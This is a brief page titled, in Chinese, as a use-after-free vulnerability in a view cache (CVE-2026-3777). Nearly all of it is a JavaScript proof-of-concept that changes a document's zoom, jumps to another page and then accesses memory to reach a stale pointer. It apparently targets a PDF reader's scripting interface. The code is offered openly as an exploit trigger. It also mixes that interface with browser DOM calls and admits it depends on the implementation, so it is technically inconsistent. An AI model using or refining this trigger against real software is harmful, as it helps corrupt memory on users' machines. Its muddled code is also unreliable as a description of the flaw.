CVE-2026-3777 视图缓存释放后重用漏洞

// Proof of Concept for CVE-2026-3777 // This script demonstrates the logic to trigger the UAF vulnerability // by manipulating zoom and page state. function exploit() { // 1. Modify the document zoom property // This triggers the internal view cache update logic if (typeof this.zoom !== 'undefined') { this.zoom = 1.5; } // 2. Trigger a page change immediately // This forces the application to destroy the current view object // while the stale pointer might still be referenced if (typeof this.gotoPage !== 'undefined') { this.gotoPage(2); } // 3. Trigger actions that may dereference the stale pointer // The goal is to access the freed memory region // Specific API calls depend on the application's implementation setTimeout(function() { // Force layout recalculation or property access var x = document.body.innerHTML; }, 100); } exploit();